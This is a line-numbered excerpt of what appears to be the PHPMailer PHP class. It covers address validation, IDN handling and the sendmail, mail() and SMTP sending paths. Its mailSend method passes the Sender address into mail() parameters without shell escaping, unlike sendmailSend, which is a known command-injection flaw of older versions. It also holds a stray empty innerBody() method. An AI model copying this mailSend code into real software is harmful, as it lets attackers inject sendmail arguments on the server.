  1126. if (defined('PCRE_VERSION')) {
  1127. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1128. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1129. $patternselect = 'pcre8';
  1130. } else {
  1131. $patternselect = 'pcre';
  1132. }
  1133. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1134. //Fall back to older PCRE
  1135. $patternselect = 'pcre';
  1136. } else {
  1137. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1138. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1139. $patternselect = 'php';
  1140. } else {
  1141. $patternselect = 'noregex';
  1142. }
  1143. }
  1144. }
  1145. switch ($patternselect) {
  1146. case 'pcre8':
  1147. /**
  1148. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1149. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1150. * @copyright 2009-2010 Michael Rushton
  1151. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1152. */
  1153. return (boolean)preg_match(
  1154. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1155. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1156. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1157. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1158. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1159. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1160. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1161. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1162. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1163. $address
  1164. );
  1165. case 'pcre':
  1166. //An older regex that doesn't need a recent PCRE
  1167. return (boolean)preg_match(
  1168. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1169. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1170. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1171. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1172. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1173. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1174. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1175. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1176. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1177. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1178. $address
  1179. );
  1180. case 'html5':
  1181. /**
  1182. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1183. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1184. */
  1185. return (boolean)preg_match(
  1186. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1187. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1188. $address
  1189. );
  1190. case 'noregex':
  1191. //No PCRE! Do something _very_ approximate!
  1192. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1193. return (strlen($address) >= 3
  1194. and strpos($address, '@') >= 1
  1195. and strpos($address, '@') != strlen($address) - 1);
  1196. case 'php':
  1197. default:
  1198. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1199. }
  1200. }
  1201.  
  1202. /**
  1203. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1204. * "intl" and "mbstring" PHP extensions.
  1205. * @return bool "true" if required functions for IDN support are present
  1206. */
  1207. public function idnSupported()
  1208. {
  1209. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1210. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1211. }
  1212.  
  1213. /**
  1214. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1215. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1216. * This function silently returns unmodified address if:
  1217. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1218. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1219. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1220. * @see PHPMailer::$CharSet
  1221. * @param string $address The email address to convert
  1222. * @return string The encoded address in ASCII form
  1223. */
  1224. public function punyencodeAddress($address)
  1225. {
  1226. // Verify we have required functions, CharSet, and at-sign.
  1227. if ($this->idnSupported() and
  1228. !empty($this->CharSet) and
  1229. ($pos = strrpos($address, '@')) !== false) {
  1230. $domain = substr($address, ++$pos);
  1231. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1232. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1233. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1234. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1235. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1236. idn_to_ascii($domain)) !== false) {
  1237. return substr($address, 0, $pos) . $punycode;
  1238. }
  1239. }
  1240. }
  1241. return $address;
  1242. }
  1243.  
  1244. /**
  1245. * Create a message and send it.
  1246. * Uses the sending method specified by $Mailer.
  1247. * @throws phpmailerException
  1248. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1249. */
  1250. public function send()
  1251. {
  1252. try {
  1253. if (!$this->preSend()) {
  1254. return false;
  1255. }
  1256. return $this->postSend();
  1257. } catch (phpmailerException $exc) {
  1258. $this->mailHeader = '';
  1259. $this->setError($exc->getMessage());
  1260. if ($this->exceptions) {
  1261. throw $exc;
  1262. }
  1263. return false;
  1264. }
  1265. }
  1266.  
  1267. /**
  1268. * Prepare a message for sending.
  1269. * @throws phpmailerException
  1270. * @return boolean
  1271. */
  1272. public function preSend()
  1273. {
  1274. try {
  1275. $this->error_count = 0; // Reset errors
  1276. $this->mailHeader = '';
  1277.  
  1278. // Dequeue recipient and Reply-To addresses with IDN
  1279. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1280. $params[1] = $this->punyencodeAddress($params[1]);
  1281. call_user_func_array(array($this, 'addAnAddress'), $params);
  1282. }
  1283. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1284. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1285. }
  1286.  
  1287. // Validate From, Sender, and ConfirmReadingTo addresses
  1288. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1289. $this->$address_kind = trim($this->$address_kind);
  1290. if (empty($this->$address_kind)) {
  1291. continue;
  1292. }
  1293. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1294. if (!$this->validateAddress($this->$address_kind)) {
  1295. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1296. $this->setError($error_message);
  1297. $this->edebug($error_message);
  1298. if ($this->exceptions) {
  1299. throw new phpmailerException($error_message);
  1300. }
  1301. return false;
  1302. }
  1303. }
  1304.  
  1305. // Set whether the message is multipart/alternative
  1306. if (!empty($this->AltBody)) {
  1307. $this->ContentType = 'multipart/alternative';
  1308. }
  1309.  
  1310. $this->setMessageType();
  1311. // Refuse to send an empty message unless we are specifically allowing it
  1312. if (!$this->AllowEmpty and empty($this->Body)) {
  1313. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1314. }
  1315.  
  1316. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1317. $this->MIMEHeader = '';
  1318. $this->MIMEBody = $this->createBody();
  1319. // createBody may have added some headers, so retain them
  1320. $tempheaders = $this->MIMEHeader;
  1321. $this->MIMEHeader = $this->createHeader();
  1322. $this->MIMEHeader .= $tempheaders;
  1323.  
  1324. // To capture the complete message when using mail(), create
  1325. // an extra header list which createHeader() doesn't fold in
  1326. if ($this->Mailer == 'mail') {
  1327. if (count($this->to) > 0) {
  1328. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1329. } else {
  1330. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1331. }
  1332. $this->mailHeader .= $this->headerLine(
  1333. 'Subject',
  1334. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1335. );
  1336. }
  1337.  
  1338. // Sign with DKIM if enabled
  1339. if (!empty($this->DKIM_domain)
  1340. && !empty($this->DKIM_private)
  1341. && !empty($this->DKIM_selector)
  1342. && file_exists($this->DKIM_private)) {
  1343. $header_dkim = $this->DKIM_Add(
  1344. $this->MIMEHeader . $this->mailHeader,
  1345. $this->encodeHeader($this->secureHeader($this->Subject)),
  1346. $this->MIMEBody
  1347. );
  1348. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1349. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1350. }
  1351. return true;
  1352. } catch (phpmailerException $exc) {
  1353. $this->setError($exc->getMessage());
  1354. if ($this->exceptions) {
  1355. throw $exc;
  1356. }
  1357. return false;
  1358. }
  1359. }
  1360. public function innerBody(){
  1361.  
  1362.  
  1363. }
  1364. /**
  1365. * Actually send a message.
  1366. * Send the email via the selected mechanism
  1367. * @throws phpmailerException
  1368. * @return boolean
  1369. */
  1370. public function postSend()
  1371. {
  1372. try {
  1373. // Choose the mailer and send through it
  1374. switch ($this->Mailer) {
  1375. case 'sendmail':
  1376. case 'qmail':
  1377. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1378. case 'smtp':
  1379. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1380. case 'mail':
  1381. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1382. default:
  1383. $sendMethod = $this->Mailer.'Send';
  1384. if (method_exists($this, $sendMethod)) {
  1385. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1386. }
  1387.  
  1388. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1389. }
  1390. } catch (phpmailerException $exc) {
  1391. $this->setError($exc->getMessage());
  1392. $this->edebug($exc->getMessage());
  1393. if ($this->exceptions) {
  1394. throw $exc;
  1395. }
  1396. }
  1397. return false;
  1398. }
  1399.  
  1400. /**
  1401. * Send mail using the $Sendmail program.
  1402. * @param string $header The message headers
  1403. * @param string $body The message body
  1404. * @see PHPMailer::$Sendmail
  1405. * @throws phpmailerException
  1406. * @access protected
  1407. * @return boolean
  1408. */
  1409. protected function sendmailSend($header, $body)
  1410. {
  1411. if ($this->Sender != '') {
  1412. if ($this->Mailer == 'qmail') {
  1413. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1414. } else {
  1415. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1416. }
  1417. } else {
  1418. if ($this->Mailer == 'qmail') {
  1419. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1420. } else {
  1421. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1422. }
  1423. }
  1424. if ($this->SingleTo) {
  1425. foreach ($this->SingleToArray as $toAddr) {
  1426. if (!@$mail = popen($sendmail, 'w')) {
  1427. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1428. }
  1429. fputs($mail, 'To: ' . $toAddr . "\n");
  1430. fputs($mail, $header);
  1431. fputs($mail, $body);
  1432. $result = pclose($mail);
  1433. $this->doCallback(
  1434. ($result == 0),
  1435. array($toAddr),
  1436. $this->cc,
  1437. $this->bcc,
  1438. $this->Subject,
  1439. $body,
  1440. $this->From
  1441. );
  1442. if ($result != 0) {
  1443. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1444. }
  1445. }
  1446. } else {
  1447. if (!@$mail = popen($sendmail, 'w')) {
  1448. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1449. }
  1450. fputs($mail, $header);
  1451. fputs($mail, $body);
  1452. $result = pclose($mail);
  1453. $this->doCallback(
  1454. ($result == 0),
  1455. $this->to,
  1456. $this->cc,
  1457. $this->bcc,
  1458. $this->Subject,
  1459. $body,
  1460. $this->From
  1461. );
  1462. if ($result != 0) {
  1463. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1464. }
  1465. }
  1466. return true;
  1467. }
  1468.  
  1469. /**
  1470. * Send mail using the PHP mail() function.
  1471. * @param string $header The message headers
  1472. * @param string $body The message body
  1473. * @link http://www.php.net/manual/en/book.mail.php
  1474. * @throws phpmailerException
  1475. * @access protected
  1476. * @return boolean
  1477. */
  1478. protected function mailSend($header, $body)
  1479. {
  1480. $toArr = array();
  1481. foreach ($this->to as $toaddr) {
  1482. $toArr[] = $this->addrFormat($toaddr);
  1483. }
  1484. $to = implode(', ', $toArr);
  1485.  
  1486. if (empty($this->Sender)) {
  1487. $params = ' ';
  1488. } else {
  1489. $params = sprintf('-f%s', $this->Sender);
  1490. }
  1491. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1492. $old_from = ini_get('sendmail_from');
  1493. ini_set('sendmail_from', $this->Sender);
  1494. }
  1495. $result = false;
  1496. if ($this->SingleTo && count($toArr) > 1) {
  1497. foreach ($toArr as $toAddr) {
  1498. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1499. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1500. }
  1501. } else {
  1502. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1503. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1504. }
  1505. if (isset($old_from)) {
  1506. ini_set('sendmail_from', $old_from);
  1507. }
  1508. if (!$result) {
  1509. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1510. }
  1511. return true;
  1512. }
  1513.  
  1514. /**
  1515. * Get an instance to use for SMTP operations.
  1516. * Override this function to load your own SMTP implementation
  1517. * @return SMTP
  1518. */
  1519. public function getSMTPInstance()
  1520. {
  1521. if (!is_object($this->smtp)) {
  1522. $this->smtp = new SMTP;
  1523. }
  1524. return $this->smtp;
  1525. }
  1526.  
  1527. /**
  1528. * Send mail via SMTP.
  1529. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1530. * Uses the PHPMailerSMTP class by default.
  1531. * @see PHPMailer::getSMTPInstance() to use a different class.
  1532. * @param string $header The message headers
  1533. * @param string $body The message body
  1534. * @throws phpmailerException
  1535. * @uses SMTP
  1536. * @access protected
  1537. * @return boolean
  1538. */
  1539. protected function smtpSend($header, $body)
  1540. {
  1541. $bad_rcpt = array();
  1542. if (!$this->smtpConnect($this->SMTPOptions)) {
  1543. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1544. }
  1545. if ('' == $this->Sender) {
  1546. $smtp_from = $this->From;
  1547. } else {
  1548. $smtp_from = $this->Sender;
  1549. }
  1550. if (!$this->smtp->mail($smtp_from)) {
  1551. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1552. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1553. }
  1554.  
  1555. // Attempt to send to all recipients
  1556. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1557. foreach ($togroup as $to) {
  1558. if (!$this->smtp->recipient($to[0])) {
  1559. $error = $this->smtp->getError();
  1560. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1561. $isSent = false;
  1562. } else {
  1563. $isSent = true;
  1564. }
  1565. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1566. }
  1567. }
  1568.  
  1569. // Only send the DATA command if we have viable recipients
  1570. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1571. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1572. }
  1573. if ($this->SMTPKeepAlive) {
  1574. $this->smtp->reset();
  1575. } else {
  1576. $this->smtp->quit();
  1577. $this->smtp->close();
  1578. }
  1579. //Create error message for any bad addresses
  1580. if (count($bad_rcpt) > 0) {
  1581. $errstr = '';
  1582. foreach ($bad_rcpt as $bad) {
  1583. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1584. }
  1585. throw new phpmailerException(
  1586. $this->lang('recipients_failed') . $errstr,
  1587. self::STOP_CONTINUE
  1588. );
  1589. }
  1590. return true;
  1591. }
  1592.  
  1593. /**
  1594. * Initiate a connection to an SMTP server.
  1595. * Returns false if the operation failed.
  1596. * @param array $options An array of options compatible with stream_context_create()
  1597. * @uses SMTP
  1598. * @access public
  1599. * @throws phpmailerException
  1600. * @return boolean
  1601. */
  1602. public function smtpConnect($options = array())
  1603. {
  1604. if (is_null($this->smtp)) {
  1605. $this->smtp = $this->getSMTPInstance();
  1606. }
  1607.  
  1608. // Already connected?
  1609. if ($this->smtp->connected()) {
  1610. return true;
  1611. }
  1612.  
  1613. $this->smtp->setTimeout($this->Timeout);
  1614. $this->smtp->setDebugLevel($this->SMTPDebug);
  1615. $this->smtp->setDebugOutput($this->Debugoutput);
  1616. $this->smtp->setVerp($this->do_verp);
  1617. $hosts = explode(';', $this->Host);
  1618. $lastexception = null;
  1619.  
  1620. foreach ($hosts as $hostentry) {
  1621. $hostinfo = array();
  1622. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1623. // Not a valid host entry
  1624. continue;
  1625. }
  1626. // $hostinfo[2]: optional ssl or tls prefix
  1627. // $hostinfo[3]: the hostname
  1628. // $hostinfo[4]: optional port number
  1629. // The host string prefix can temporarily override the current setting for SMTPSecure
  1630. // If it's not specified, the default value is used
  1631. $prefix = '';
  1632. $secure = $this->SMTPSecure;
  1633. $tls = ($this->SMTPSecure == 'tls');
  1634. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1635. $prefix = 'ssl://';
  1636. $tls = false; // Can't have SSL and TLS at the same time
  1637. $secure = 'ssl';
  1638. } elseif ($hostinfo[2] == 'tls') {
  1639. $tls = true;
  1640. // tls doesn't use a prefix
  1641. $secure = 'tls';
  1642. }
  1643. //Do we need the OpenSSL extension?
  1644. $sslext = defined('OPENSSL_ALGO_SHA1');
  1645. if ('tls' === $secure or 'ssl' === $secure) {
  1646. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1647. if (!$sslext) {
  1648. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1649. }
  1650. }
  1651. $host = $hostinfo[3];
  1652. $port = $this->Port;
  1653. $tport = (integer)$hostinfo[4];
  1654. if ($tport > 0 and $tport < 65536) {
  1655. $port = $tport;
  1656. }
  1657. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1658. try {
  1659. if ($this->Helo) {
  1660. $hello = $this->Helo;
  1661. } else {
  1662. $hello = $this->serverHostname();
  1663. }
  1664. $this->smtp->hello($hello);
  1665. //Automatically enable TLS encryption if:
  1666. // * it's not disabled
  1667. // * we have openssl extension
  1668. // * we are not already using SSL
  1669. // * the server offers STARTTLS
  1670. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1671. $tls = true;
  1672. }
  1673. if ($tls) {
  1674. if (!$this->smtp->startTLS()) {
  1675. throw new phpmailerException($this->lang('connect_host'));
  1676. }
  1677. // We must resend HELO after tls negotiation
  1678. $this->smtp->hello($hello);
  1679. }
  1680. if ($this->SMTPAuth) {
  1681. if (!$this->smtp->authenticate(
  1682. $this->Username,
  1683. $this->Password,
  1684. $this->AuthType,
  1685. $this->Realm,
  1686. $this->Workstation
  1687. )
  1688. ) {
  1689. throw new phpmailerException($this->lang('authenticate'));
  1690. }
  1691. }
  1692. return true;
  1693. } catch (phpmailerException $exc) {
  1694. $lastexception = $exc;
  1695. $this->edebug($exc->getMessage());
  1696. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1697. $this->smtp->quit();
  1698. }
  1699. }
  1700. }
  1701. // If we get here, all connection attempts have failed, so close connection hard
  1702. $this->smtp->close();
  1703. // As we've caught all exceptions, just report whatever the last one was
  1704. if ($this->exceptions and !is_null($lastexception)) {
  1705. throw $lastexception;
  1706. }
  1707. return false;
  1708. }
  1709.  
  1710. /**
  1711. * Close the active SMTP session if one exists.
  1712. * @return void
  1713. */
  1714. public function smtpClose()
  1715. {
  1716. if ($this->smtp !== null) {
  1717. if ($this->smtp->connected()) {
  1718. $this->smtp->quit();
  1719. $this->smtp->close();
  1720. }
  1721. }
  1722. }
  1723.  
  1724. /**
  1725. * Set the language for error messages.
  1726. * Returns false if it cannot load the language file.
  1727. * The default language is English.
  1728. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1729. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1730. * @return boolean
  1731. * @access public
  1732. */
  1733. public function setLanguage($langcode = 'en', $lang_path = '')
  1734. {
  1735. // Define full set of translatable strings in English
  1736. $PHPMAILER_LANG = array(
  1737. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1738. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1739. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1740. 'empty_message' => 'Message body empty',
  1741. 'encoding' => 'Unknown encoding: ',
  1742. 'execute' => 'Could not execute: ',
  1743. 'file_access' => 'Could not access file: ',
  1744. 'file_open' => 'File Error: Could not open file: ',
  1745. 'from_failed' => 'The following From address failed: ',
  1746. 'instantiate' => 'Could not instantiate mail function.',
  1747. 'invalid_address' => 'Invalid address: ',
  1748. 'mailer_not_supported' => ' mailer is not supported.',
  1749. 'provide_address' => 'You must provide at least one recipient email address.',
  1750. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1751. 'signing' => 'Signing Error: ',
  1752. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1753. 'smtp_error' => 'SMTP server error: ',
  1754. 'variable_set' => 'Cannot set or reset variable: ',
  1755. 'extension_missing' => 'Extension missing: '
  1756. );
  1757. if (empty($lang_path)) {
  1758. // Calculate an absolute path so it can work if CWD is not here
  1759. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1760. }
  1761. $foundlang = true;
  1762. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1763. // There is no English translation file
  1764. if ($langcode != 'en') {
  1765. // Make sure language file path is readable
  1766. if (!is_readable($lang_file)) {
  1767. $foundlang = false;
  1768. } else {
  1769. // Overwrite language-specific strings.
  1770. // This way we'll never have missing translation keys.
  1771. $foundlang = include $lang_file;
  1772. }
  1773. }
  1774. $this->language = $PHPMAILER_LANG;
  1775. return (boolean)$foundlang; // Returns false if language not found
  1776. }
  1777.  
  1778. /**
  1779. * Get the array of strings for the current language.
  1780. * @return array
  1781. */
  1782. public function getTranslations()
  1783. {
  1784. return $this->language;
  1785. }
  1786.  
  1787. /**
  1788. * Create recipient headers.
  1789. * @access public
  1790. * @param string $type
  1791. * @param array $addr An array of recipient,
  1792. * where each recipient is a 2-element indexed array with element 0 containing an address
  1793. * and element 1 containing a name, like:
  1794. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1795. * @return string
  1796. */
  1797. public function addrAppend($type, $addr)
  1798. {
  1799. $addresses = array();
  1800. foreach ($addr as $address) {
  1801. $addresses[] = $this->addrFormat($address);
  1802. }
  1803. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1804. }
  1805.  
  1806. /**
  1807. * Format an address for use in a message header.
  1808. * @access public
  1809. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1810. * like array('joe@example.com', 'Joe User')
  1811. * @return string
  1812. */
  1813. public function addrFormat($addr)
  1814. {
  1815. if (empty($addr[1])) { // No name provided
  1816. return $this->secureHeader($addr[0]);
  1817. } else {
  1818. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1819. $addr[0]
  1820. ) . '>';
  1821. }
  1822. }
  1823.  
  1824. /**
  1825. * Word-wrap message.
  1826. * For use with mailers that do not automatically perform wrapping
  1827. * and for quoted-printable encoded messages.
  1828. * Original written by philippe.
  1829. * @param string $message The message to wrap
  1830. * @param integer $length The line length to wrap to
  1831. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1832. * @access public
  1833. * @return string
  1834. */
  1835. public function wrapText($message, $length, $qp_mode = false)
  1836. {
  1837. if ($qp_mode) {
  1838. $soft_break = sprintf(' =%s', $this->LE);
  1839. } else {
  1840. $soft_break = $this->LE;
  1841. }
  1842. // If utf-8 encoding is used, we will need to make sure we don't
  1843. // split multibyte characters when we wrap
  1844. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1845. $lelen = strlen($this->LE);
  1846. $crlflen = strlen(self::CRLF);
  1847.  
  1848. $message = $this->fixEOL($message);
  1849. //Remove a trailing line break
  1850. if (substr($message, -$lelen) == $this->LE) {
  1851. $message = substr($message, 0, -$lelen);
  1852. }
  1853.  
  1854. //Split message into lines
  1855. $lines = explode($this->LE, $message);
  1856. //Message will be rebuilt in here
  1857. $message = '';
  1858. foreach ($lines as $line) {
  1859. $words = explode(' ', $line);
  1860. $buf = '';
  1861. $firstword = true;
  1862. foreach ($words as $word) {
  1863. if ($qp_mode and (strlen($word) > $length)) {
  1864. $space_left = $length - strlen($buf) - $crlflen;
  1865. if (!$firstword) {
  1866. if ($space_left > 20) {
  1867. $len = $space_left;
  1868. if ($is_utf8) {
  1869. $len = $this->utf8CharBoundary($word, $len);
  1870. } elseif (substr($word, $len - 1, 1) == '=') {
  1871. $len--;
  1872. } elseif (substr($word, $len - 2, 1) == '=') {
  1873. $len -= 2;
  1874. }
  1875. $part = substr($word, 0, $len);
  1876. $word = substr($word, $len);
  1877. $buf .= ' ' . $part;
  1878. $message .= $buf . sprintf('=%s', self::CRLF);
  1879. } else {
  1880. $message .= $buf . $soft_break;
  1881. }
  1882. $buf = '';
  1883. }
  1884. while (strlen($word) > 0) {
  1885. if ($length <= 0) {
  1886. break;
  1887. }
  1888. $len = $length;
  1889. if ($is_utf8) {
  1890. $len = $this->utf8CharBoundary($word, $len);
  1891. } elseif (substr($word, $len - 1, 1) == '=') {
  1892. $len--;
  1893. } elseif (substr($word, $len - 2, 1) == '=') {
  1894. $len -= 2;
  1895. }
  1896. $part = substr($word, 0, $len);
  1897. $word = substr($word, $len);
  1898.  
  1899. if (strlen($word) > 0) {
  1900. $message .= $part . sprintf('=%s', self::CRLF);
  1901. } else {
  1902. $buf = $part;
  1903. }
  1904. }
  1905. } else {
  1906. $buf_o = $buf;
  1907. if (!$firstword) {
  1908. $buf .= ' ';
  1909. }
  1910. $buf .= $word;
  1911.  
  1912. if (strlen($buf) > $length and $buf_o != '') {
  1913. $message .= $buf_o . $soft_break;
  1914. $buf = $word;
  1915. }
  1916. }
  1917. $firstword = false;
  1918. }
  1919. $message .= $buf . self::CRLF;
  1920. }
  1921.  
  1922. return $message;
  1923. }
  1924.  
  1925. /**
  1926. * Find the last character boundary prior to $maxLength in a utf-8
  1927. * quoted-printable encoded string.
  1928. * Original written by Colin Brown.
  1929. * @access public
  1930. * @param string $encodedText utf-8 QP text
  1931. * @param integer $maxLength Find the last character boundary prior to this length
  1932. * @return integer
  1933. */
  1934. public function utf8CharBoundary($encodedText, $maxLength)
  1935. {
  1936. $foundSplitPos = false;
  1937. $lookBack = 3;
  1938. while (!$foundSplitPos) {
  1939. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1940. $encodedCharPos = strpos($lastChunk, '=');
